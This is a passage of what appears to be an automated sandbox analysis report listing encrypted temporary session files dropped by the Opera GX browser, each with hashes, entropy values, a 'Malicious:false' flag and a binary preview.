                                                                                                                                                                                                              Preview:........XKclDtul5f3GNYpZywDVdvbnSB3Jk0RgqohdREssjM2k=......1.....S.92y...d......6.W...O....c.....f..e..X$T.)BW.,g..E^..|..5.a4R...V.....I."..T ..`.....S.......j.?.*..K._.L..aF..?.U.....t&..R.=...Xtl~......y...w...6.*c...T......B.{..O&..}.A6.j..oM..t.n....&i..Y.H.1...).....1.K&.:...N. ..."..d....V._Z..M...j.z...B. .OEs.....#QG...1;.D.3.%_.P:.....7a....L{.(...]$..~..#N...O.....0..0....V......"....(.....Pl..I..i`z.~..F.3{...l{"y.f...q....f.YwVA~....)....,(.{.<..D..h....x.em$..b/1{..~.......7......K.!...U_...&A\.......`.....a...Ig...~@D..gT.A..-..EG...k..'.3.m"=.9.....W^.....@GW/..G...1..7>BH.o....6."..*D#U.k .u..S2a-.S./!......[.x[.x.e4{=..B.I...9'.ACa-#`.p....^...~.G.{..;!..+n.).4.j,....6.Gs.3J../G.*.....r..kr........(...x....3...e.R...U.S<.m............!f..=J..u...m.\........TB.b..S`.j......Gsy...=..G.(77.w..A...2..O..]Uy..T_..'....*+.3.=..'.cu="=...#U.{.eD..N'.g.P=..I>....b.......K..Lz..2.C..hq<t...p.b8.(|^N...U!2...9W@.<4.BQ..E7.kn.m...]

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\3ee0d091-f883-4634-8f07-7a6616250518.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.978043904950456
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:06310AC0FDF8056A44378916FB177E88
                                                                                                                                                                                                              SHA1:AA3CE17F956E99224253AC1FF1733BC24B7ED869
                                                                                                                                                                                                              SHA-256:103E61616D2200B4EDC668B8DA88923F551B31D8B71A467C3CBC76DB49DFEAEF
                                                                                                                                                                                                              SHA-512:98631DB2BD192828F0B6C773277A3F69CA747D22361844EBAF3107D630492967F810B861F3A3A369BB276E38160553C90A399B57A03DE7B15F980FB884AD10E7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XaRSOJEsr3gt7nVwI/4i1Wr/i3I5xRlYk9eeza5uxNHQ=.......j.M....{...k1..i.Y..>...~...T.?.....s~w.}b..)jVfBb.~...{&.Kpo|.....4AH)..t......p.f...S.~IV&..91...P.X.%...7I...OT./..t`R...UX..l.....u.w|...#.....4.).....]O....U...1..h6.J#....C98.5.u.F...5.w.E.qb%g.....{..f. C...M..Xg..J!#.2%..>...gZ..%{$...+.....J...Y..X...2..J.y...a`i,...d.i.,.....n...4*.@.5KW'^..P.T......Ui>%...ht..y.sk[o.g......51H.7.{..~.sk...{..0S...H... .C..K..Xl...L7R/{..d...Y17...il...H4}F.).0u..m..j.H.:pR.\.pBG......4..!...O.........p..*.|..........p.b.....0,K..x.KhXxu.J...`gE..K.Ab.?....c......7.0f`..@A"w[a8..lI.?..6..d..'...]6w(q...4..6..,...!e*]E..y...R.......a....`.T.T...k{#....Hw...psc.n...._..*...... .S%.....;...J..N.0.....\9*....A.0N...|.%..&.o.../w..E4d}Y..gQ....z.c.....\.ORu\ .n<....WA2.[.xp..@i.*......ow.........Lvb2..W...?..F..f......U..~m.sL.e.2..I.....1P<..8..&6.;ki~tc...7.z...0..`#....Q..UY....}.BV1U.[.`.....n.x.1p....R_...C.......n8..I..0=..-s.o.r

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\4237b07e-7f5e-4c26-a72b-d9dcdb28f9e6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9054
                                                                                                                                                                                                              Entropy (8bit):7.981309868950306
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:936986497709FA071AE7066B769EFAFC
                                                                                                                                                                                                              SHA1:DB71B4168CA7E4CA5C89CF10CCBCA9857B32E741
                                                                                                                                                                                                              SHA-256:3B321FF79FF9FCEBA18EB47ECA78CEBC457757B6E89131699E17C0B9D4F3610E
                                                                                                                                                                                                              SHA-512:06113D48715BEB7F9DA5B88FF15E76CFC1E1879F9997C672D2228B0824D5960237FC1046281AE2106F7A4932FCBE49473C27B4AA377FFEC2ACCF08E29ADC760D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XoUmpYv7V7hQa5dB8XWqf93NImFCQy5aNstDI8bxpCG4=........Op.......$1..G.o..u!.2#...I...zgQ...-|s.U.b.t....M..9.R....."F5.s.......@.{x{*.....?..7...'vS>.zz..+.Y1#..Mc.hK.I.Tu5.%.....<y..8.[.K..).(....&..@.y...O.~.Wrcd..%L.2..#>,.. 3....<T1.G$..htBc.hHHT5..O`....w.%...<.b...R.D4.O ..+^...a.v.n.Q.....)..HU3PW6.p.E.T.~..2.....b\.DP.].......Q.D...!=iXb48.+..@..V.7..3...?.M8.Q....s.V....+W... ....R...pw..L.CF..?t...".I.._..QOh...K..z.RB.3..&..............2.w......R....!kM.FaY......1N.........U.......^..[6l.}..Uh.G....."...9....j..k.*e.% .^..G...#....8^...\....[....>R.wZW~.e..s.1..U..f...H..".....1[..z.....!+2....>...<.9.U....yK%P.j.6.V.?O.L..b....;Lj.?.h.o..F.4..d..,%U...c...D....~.VV..|..<.Nj"....:x7.4`p....6E.!B7..t..?....."...w.........&W...#A...1.Q..\(L.B8.......yg.@.r..\6.^..9XW.@.h.......s~w`..I]..9.E~..5|I....F.|<e.......{..F+...T.;g!...p.l..v`.\.j......,.zzNx.RV.B..Y..m.a^.5....C6............D........:W..]..9..:....&Z.....\T...J.B.}"6qF..Q.#Q.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\4313dfa9-30d4-4c97-9c02-941c54890029.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10094
                                                                                                                                                                                                              Entropy (8bit):7.981074089782685
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1E8CD70C2CC8E12B5BF950DCA787A407
                                                                                                                                                                                                              SHA1:305AE2EDE4F11A54C8F9E9196DEB38D19292F4C6
                                                                                                                                                                                                              SHA-256:C1D02E5B13999E8B810FA0A18DAE19D18BB8A690CBEF63FE43875CF6CD627395
                                                                                                                                                                                                              SHA-512:6EB7BE8804B07BC39BAD763BB006DB64369C0655FFC4B453A0E2A8FBDB16C564CEA2D50071C01FBE4A102F6C0ABF964EC04FF7F53E19EA6ADFFAAAF50265F6C0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X+gtcLX8wyNDM0sVlfH/SUzbcQRFupaYPc5Z2wun0cfY=.......I..cd(oNo..QP6y.o.....Y.z%.6._.^.b\.ui]X..F,....e.p.$&L'.^..=..}...@...&j.r7IyO.t$./.:4...Xj...)..Od/...).4.BR..,......R..f....fJ....{..M..9..."G.T...1.(.I.....0Wr0.U..x..w.."(.q.t.xWP@.?.r...\..s..k.Qt}.)..`Y..T.NN........m..;....:#.C.........\..._.(...ZEh....}SY.u@.F.r....(....L....n..Q..../H_.....9......c.|Y....:.G.o.:'@...6..@..u(3=...}Gx..AG.;..X.t..d.....A^^..=.:...#..-...$.\K5..5.F.......k....fL.........5.a......:...Dp(.S7........5.X(..{..;.'.%..5.cVU..U..Y_K.....c.A.......HY.{%.....=&.I/y..1.J4...MP.d4..I.6=.Q..._F...~tf].$.Omz....{..iO...c(.........t^iS...V..TC5..O.f..Cj.5......t.\.....W.:.....o....6g.|..~...]...S.>T...n..{|i...2...[/>...{..\..P.#.........C...D3.._ i#.)m..ZPI..n...k.{.$"_B.....3....:.U4.8......z.S..f. ...k.rd...........%/ .e.GD.<.I..D..|..k.J.....K].....2..q@.M4.a...~.g...[K.5.g9..G......h..%?.....K.....l.q.Y.....v.........[jU.,rE.~z[.VY.Ou. .

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\45a400b5-1ca9-4a61-9f6f-8b5b1d5db82f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2381
                                                                                                                                                                                                              Entropy (8bit):7.9146887966584
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4C3715D02B0ECD87681FFC6E25E72979
                                                                                                                                                                                                              SHA1:A9412CEF20701897D60CD129F6D2077E9A9F0540
                                                                                                                                                                                                              SHA-256:6F6597FE3A611C5C0EADDBF780935F3E6F59F8EE45F0716BCF5AC9A31A8DC10E
                                                                                                                                                                                                              SHA-512:E9BA3F0631885A6D7643FCE7A117B54052B7AE547C2E2EF5AFDF444DA410E34960CED885B95A976B501229917C3EA9771F3A67A5ED4C0D1FF948384AADC38E99
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xo50/0YnLkkHrSnWnzOt0hNSfR57KuZ2c3mRvf2YeoiM=.....$..Y.:|.f.'|.Ug.....=...}.YT@0..S>...f.$..?.C..Q_t..(..Z..e2.l..}....GU;Aj.....C.g.u.$.L.J8q.j8..q.{...oa.N8..cl.:..wy......upX.nC.p.a.k-..C.6. s3_...V.vg6...G.??.Y..z.....HN.....}..~m.]%..WU<.+.;.w.."....]..S......t..J^.R....N.=.8.....:.:....$0...J3.k.......X.....a.A...g.B.......`.7.O....e.^.56...c.3.E^m........0... .A.i.^quSb...z0.g.O..W....@.....AU..*X,.-9..I..3..8..h1...6g.....K .....C.......a.P.S P...k........34.e?.@Pp.('.....q..g......#h...W...S.R<u.\r...B....X.P..xWj4.FN.....fF.<..~{..`3.....K.#.Df... Tq.....&.fT.ue........?..;.U.#t.........!L.r{.Y.^.).....I{..:..:iM.....b5..*.!......b......Xx..D.g...4?.........A........R_9&..'rY.u.@{.y.....Ct..........rE-dA..#.;hc..^..........5..N._... E.y-8...-...)..D+#..O5!.).I...!g.Z......s.....o<6..'.|<..`...+;-Q.*.......3..n.O#9..a.Vx...*.v. ..2?....i?E..o....-t..Q..$...Yb..`..9.,..h..<.&KV.t,...m.-.0..`.&.../AC.l.7.N...I'.R...l

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\45acee6c-4adc-4d11-bec0-622d1f57f28d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.980157276530905
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:88CC0B4E93B375A987BFE1ECFB489593
                                                                                                                                                                                                              SHA1:D9E1464569B6F8854BE305306BA352E62BDECB79
                                                                                                                                                                                                              SHA-256:EE46845D61C84EDD62D9123D1E96CC9397BBE8828B24A87D588B9AEB3BE9BFA0
                                                                                                                                                                                                              SHA-512:9C5BEB0658A3E6097302B05AB6BCDF883C3DD472463D5BC25B99E7F3D24CFA4CB90556DAF35F839E3E68FC44FEB62C432A2763B6A7DFDA88D3136FED549FDD80
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XE8twTjJc5d9cFAPavttRwvpCO/yP6QHYFrjG6luOl+c=.........zg.......X.1^.......%-..o..Klo.Waw......iw....h....#.m....J1.AR.S.S.L.....d...*..._r.B$d..'.6H.:......X:.w?.k..R...(.......p.K.XTO.U...r....~...)..'.f.......<.c...1@...?')..x.gF....Xq.........S.53Mvv..|+.O.."..-.p...{4,B..._m.0|%.,......Of_...-.....)}..[..3...j..R+....SA....#KP..^[(m...X%.....lo.,.=..L:pXx.U..4uN.....7.9.W....l ..s%N..t..Kp.......C)..5.k..=......:.uy.....d6.+.].9....[.K*U..a.x.^;...4.f,.e/.+'...f....4....C)..*........\.W!.xe+.E.UW....r..i.d........].&.....9$0..".........?...@.H).(.B....jLQ.."w.!}.[E\...)b.4.p.8......5MQP..!...S8.|.Ei.z..q]-..<Pm....(..@P...Z..].D.r...J...B.....g.k...K@.6.,!. _.W.T.%~%.1..]f.lJb..V..Qb.w!}.0..j..q,......+....8..|.Dg.O..#.b.....7\.QK......>f-...;....N9.'.....M#.....)Q.I......A&.\.5.J...X...B.b>...N.(.....A.A.......f..m.."U.eg(.. N.3cH.+............*..d.7....B.\<.....p.].#......nbo....P`[.y..o....@.M.o........`.T..dO..Sf..(.+

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\4701f501-3ad5-4cd1-af2b-dfb96700ddf2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982580416546412
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FE5EEEA45685A48CCC088B79A976CADE
                                                                                                                                                                                                              SHA1:8B394BF93DDAC565F6E34342ACB17E093EC5AF05
                                                                                                                                                                                                              SHA-256:7193AC31D8E482829EB413FB05AC7DAA7D6ADDFA6A28EAC4AC1A142CC199264A
                                                                                                                                                                                                              SHA-512:4F743203F2E78ACF3B63560B47231EA4CF13AB5A80D288C6060C9DF5C46EB8B2E0B16FBFEAFF6158FEECE7A9277377977FA89CCCDABB5C685051D424E63421C6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X3z3l7C1EsoPfrxo8U+f7lqD1XHUJiit8llhi0kxu4WU=.......G.f.QUe..l.L..N."....~..52.c..?...LG}.2..........jM.Z.1.!....0..........)..2].k6.j..1...1..U...B..Y........|....V.q .../..?...1...n!o?..i..s}.3:..\{.R...!.....LP.....9.(.......:1........U'......Rx.....g.,I(.Y6......,82M#,7g. YA....uZ.b.......^b91.o.H...........v5..j.}z.....>.f...4.L.Y...jd......G.)..%.F..*'...B...F=..9..|.."i...P..S#..`...........>j.Y.}.%OO.P..-<X..w...G............5...`.$..&./.P.yD...x..G.&...X.Y....\....[...G....p.....1..X..V...Ha.:....B..j....c.q...iBE:.......Lq.{b^..G....JBw^+#-_..|.3...z..<.J..2.Z.'>....|5...eIWs....t..Y....VnW/.._..2.X..........u.(.......^.h.....;..<YZl..D..e.8`.V....1..=H..Q.4s..t.;a......v$f.H...5.F.O..o...Ui.....q.....0.w...S..=E.6...O>..Kt..F.......(...*g..R).D4o.|..........5.Q.t....wt.V.HU..*+...o?..V..c..n....^B.....k.z).Ts...".QCY.r.M..y.z..K.Z.G...M.....aU.npm....%d..e..;.=1..B...z..S...f....."...Y.{../.UP...O.%%....+......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\48352043-3199-4949-9039-5da1a051b594.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.981466330461707
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:ED55A9AD9ABCBED5898F053892BF5346
                                                                                                                                                                                                              SHA1:A555758DB40029CABE42ABCA7659EDC0C036DF9C
                                                                                                                                                                                                              SHA-256:22B85EB4A6AEF88509423349D52FD1874AA536C9B400B5B2A3D04930F79C93BA
                                                                                                                                                                                                              SHA-512:6179A3EA93B5B55379BFC82ED35408481CC62DA2BE9B3BC52416D1C261CB1407E790B9462660F49F274B920EF2FF8C5D85F48727AB11E22FCA487CB224183F67
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xkqh2ppyq9JLtPO9RXv0RYhB9paUs93VkuJIZgMExJ+Q=.........V]RP.(.....k....5...u.....K....t...\.].z...Bk.v..........|.........B@....|..I.....=..!_....V\."... 6.....|.1.(e.#GE..j..I]..}-{..8.3...Z.pj..L5.;..Q..?.).....b..Ri1..L...B......h.L.R...>...k.W......Q..G...[.)..."..x.#.... ...*X y/h...y.......3].Q....i.Z.q<Z.z........;ckO....(....=".".TR|"..\.D.=.V{.U.x......a.=.u...4tx..tx:}Pq9.E.ZZ.U...."...../..R?.I..;N.c....~.c.*hL.i@..ox@.1....U.@.k.].==w.....h.....G.o..].0N..G+.w:.0."..[.M~E."...k .~Q.t`fU..~."U.`........T.d.F3....<.?p.&......(..N.R...N.G!...h..H":.$.3..E.9..k.{.....r.4>.....!}.,<.t.. .d.G\.n.3.3........M.8..w.L....<.Z...".l.<...~.M*.<.-.....`......X..'asc.?..{.t....f!...x../.Q..gD%?`5'f.M......Y.m._.m.K.U.D.g.N.....X... .;'...nE....,I..Y.....q.*q.c....7E.A..(4.Sw_.....#...(..E.....K<c.=e.b...6..rG..C.a.2....'....B..v.U....F.%C.B......X.....d....+...@.g.>._m.D..r..aA9|......'.....$R.I.>...K.........Y.Q..S..,y...:4..>..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\4caea45e-4347-430c-ba17-2a3895d47b04.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.975983412650129
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4DB2389315764179C2A4CF70CCC00D7D
                                                                                                                                                                                                              SHA1:77E7D80CC7FA3BC10FAABFD64C2B1F0CE0EC8319
                                                                                                                                                                                                              SHA-256:22C08120F58CA6A6B1C63D8AC3A0E9C439B45C611CD95198C7709211819262E1
                                                                                                                                                                                                              SHA-512:1A8F0288CD729D9E7C2F086220214B05ED23118BF522D8E62419696711A384D824E2A19EC50A4A199487EAAF73AA82137E3309EFCC5C713C492F7473C279ABA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XJGi07v5pPd8Wv1RYfnYmKfv9COk1YJOji6YNLcEUZ9Q=............YT..J@*R.....i".=......}.nM.Ks...,7...y9+...E.db#..]UK..t..z..8&X......%.....2<..........C..<..].-#P....}8.......#.c......I.O.&.g.h....~..o......@...@k....}&W.....E..G...N.q..g..P.......4....q..f..;.97.H9oH` J...Z.e.!w.J..?...^x46..(.0.4.2..hw....`j."u.g}X....Z..50-.Rv....J}.....5.0.....>....b.e....R....w...4/........r....XG.....j}w..hb......[.jD....p..d..Q..d;.`.u$?..*.........DJ{..Zz).1...t.}.p'.G.u...g*..=.3/..{t...D.7..G..2..ln!..!...U...f....o......S.....L.....V......L).(.......I........l.....t..)..........m..W...D*..., ..x*.....x....z.g.[..a.....{..#.....@...c>]..E.C....(..4.:K.....b..[.P....`-&4..k.v2..c{\.8fz.....g........|...%...(o\K,>....vONf..Cr6m/.;.N...t._...o...qY `]..i.y..z.YOG...xs<7$L..!....K1.U.....1...?z=......~..._.....?......,Tx.....y..k.@.+V...........0?`._.y....i..k.&i.x.[R..Q8.*.G..7..}...^...i7..qT....M..q...7........N.O..E7.y}....@b

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\4d5fc947-93f6-4f3c-b7a2-5372880a3c42.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983405692259955
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9C1E92719A05F7005986D86010826739
                                                                                                                                                                                                              SHA1:3B0561787ADB6F5CA6A5A6ACBAFBE35C6A7296CA
                                                                                                                                                                                                              SHA-256:3E8411AE9F462F9FBC8DC8F4FEA95D8A56B601FC57581DAFE663312E7065CC9C
                                                                                                                                                                                                              SHA-512:6E4462490D3D318CE5C8D1583AE3550CFCE94F31ED97AA2C7F1A437D5FC08F1DC91E7A9E31BD201154156F44C661EF52075EA3B221ABE07A7A6FC752DBDA2C91
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XmcXmaB7uT+LipxkWQb/pWA+rzhRIVWOLmmYJ1VkDnLE=.........J....'.=j...u..T...4los.... ;KDf...&g..+..Y.....@0.#.h.=..v<....3..1O,...b.E.%US9..=..>Gu....z.n...T.5.M.5.f..`..A.=x....dY.F.....af,....I...An+.!..,.1.......AE..[.N....S.9.m.u.*S..`0...7n.CE.'`....+K..0..<....../f..Sy.&Cp..v....#..,/O..'..f)Jf.7.,...z.Waz..c.8......7.Cw..W.`E..$..zV..'De..>{)<^$D/.H8.~/....$...6.......^..o.UH...f.a.'..,e.....E*bx.....<..E;M.w..z...).z7Pwm.G..n.yt.H...KG..Z=.N5i.JXc..6..V..h.W....b0.db.../.. Q;...:.v...vTqm.z..d.....\rV...<._`..m8....Y.....*N..[..O..E..Yd)....Tj..sY-SQ-s......P|......k.es..~.W.<.7]h,.._1.V...~.....F.....f:..........l.L...r<.n....i..0..oA..tw..W..`.u.u...#ld..Dv....(..v.|3.AM..1....<.MN|.1..]B..z......M.l(......f2.C...9e.z,1.XK..Q..bx!....*dI.....K.l..u...;?y.H&.9..,.F.....#1I.....s.....0uV...O.u9^.....Y]........'...#..Jn...B.{.g.kl...y.3.Q.(G..........IM......r,...;....^.....J$.sA...T..0..Pn....GaK.J...j....t...<.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\51810a10-f8fc-41c4-be01-3bef2d198b5b.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983343167824219
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F5A3AE8B6043FC917C7465F74A9B26FF
                                                                                                                                                                                                              SHA1:3E605132D3478258B2FA3A468D91156D779A000F
                                                                                                                                                                                                              SHA-256:DD8D11F9EF7A09E71A1A83D4029DA260CBB83611E461026004DC217E1AC107E7
                                                                                                                                                                                                              SHA-512:786F24DC622F6327824DEA35F47B7F4D0EDA8400019AA9771CF6BE299B571DB8031F62B29C809E06D615FB5C7F4D51855517233897E72362F9ED35A9C0CDF750
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X7+deKPGIl/dlwC7OGOEzorjnMe+1X8BNR9zi2lI6P7E=.......8D...1D....3.R"..'Mz....hPW...o.......%K...+......4.u........L......"..U&+..1..Z\..7.V&Qy..z<..Pi.:..h..aG.........(...s.?...".{..8....1.#.kz.V).'..n.I9+.P.)..ae....]d..V.....J...{..[[....\.....U..b.hj[......&..!..r...%0x.......k...O.0O)....z.k.].e....Q\...F...Y=K^&"sA.u.....1..0'.K`.`c..r.C.1.|...W......}y.[.R....7.9..\%.....^....y.'.F...A...+B.....0.Z;. H...j..%._.Jm...(.{..`o...'...3...=....u|...d..".....&....TW.[.j)....i........p...Vs?.%...p.x.w...6.^!.i0^....3..T.hVJy.t8/...)....&~....7....:<...L.m+yJ..t1BXs...?A5.o....3x..<.kI..z.R....?i..l.Z..<.-..l..fL:.wf."a......G.]...x....I.......... q...*.....J%J..2.T..Dh.W...vt..rV.)r.y....I..B~.z.!.?...|.<9t.K....O#7.O'.p,...T@j.%....95..>F.7bB.?r.i.+...U..:...`E..N..'.....W.%.....C..X.o........^:..s.%V6.1..IN.0.&.F(......|../.u...7.3_g..'\.p..(31..G+r0.]&d...I...(.'0.,.}Z...'s..U....-...Gt.6....}D[..@......M)..8..x.N.:..d.u..4".|...=

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\54e3a9bd-e1ec-483f-b63b-87ee3c17edb6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8077
                                                                                                                                                                                                              Entropy (8bit):7.976169855323172
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D4EAE461F0F309460CA330E2DFB6371B
                                                                                                                                                                                                              SHA1:CDA005704114F4CE19E6BC8CC2B1ABC704DBD674
                                                                                                                                                                                                              SHA-256:FA4D68AFBE58C0A5DFBA2A46E33FC1C7C42CC438A28408800E99AE946E0C17E1
                                                                                                                                                                                                              SHA-512:695449601C546853CC4823B5A51B9295C07BBEE53C3B618B8664E7DD36C87E2D70C7F25B92D6967027C0E8E41D5DE6E77F48A924E29993B068529C4E7A1554CC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XPzIbJT5Bo344MpnT+VibT0pWUVnQIt+FrB/g7PdIDc4=.....}.....9.U.4........vn.#..2...8..a...3...*...t$...E#...>Y.S.....v..3..GP-...m...M..q.B.4.,.utjb$.3..V.UN.pj:.?.../~.m^....[.....W.,VS...Y....y.xq.....m.z...C....L'....o.c...".\......=.\.sR.<........3..m.cIf.!..j....x.\......gH...Z..fH....F.r.(1.Z.%...j...n8N.>..y....=....[.......B..LLnO.CB.A.].7PG...7.U*i.)h...[....i..LpNs.*.]1Z....L*.....#.........[Y...t.8..g5+.A.6I&cA(.K.AX.v..o.r.q(..Q....vXI4E.-{.......N/J....R.k....Q(.8..kE... .`2Cj9.o.E.~.i..0.......q.....o..~..V.2.w.II9Oh.<.%....a_9.SY.\..;..>.1I...V..z..}.....`!..l.n....`.../K....\~.i{1}G....:....o.."..........%...K...4P.)...d.....+..s)..v........!.^..k_...1:.%.t.B._.TrB}6.....[...5.z..x....9|.../.....VL...<.ov..n..n.?..|.Z.T#..h.^.^.....B......F.{^2.)c.......f...U...u.].#..j~f.....7b.sr...(.7..,tx..D..2N..=MqU..Ay?..SVJ..@....t]QA...<..l...'....W|t...s..M+r...._..HGc.$q.g.heOX.iT|~..PZ...6..B..#.r.iK.b!.^..e.Vd..[L>..HE.../.Sr.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\56f360fe-6be8-4661-9390-8c476345ea62.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.979163311041932
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7FC74D340C97462495114664C20D9FBB
                                                                                                                                                                                                              SHA1:67BF3389E2F789E4D5A777160B54C2215D47965C
                                                                                                                                                                                                              SHA-256:096BCFADC1C5578FBBC15C8A9838E5F0A9C48E5B7D372C8CDF52EAD5A2B993C5
                                                                                                                                                                                                              SHA-512:BF27ECF5E1D6E84EA64043009DE84023697F0BF6489454C280407E408AC70CD20E48D45AF64A13B57AF78F274430CAD49DDB171482DB9A8D28DDD4158B01881A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
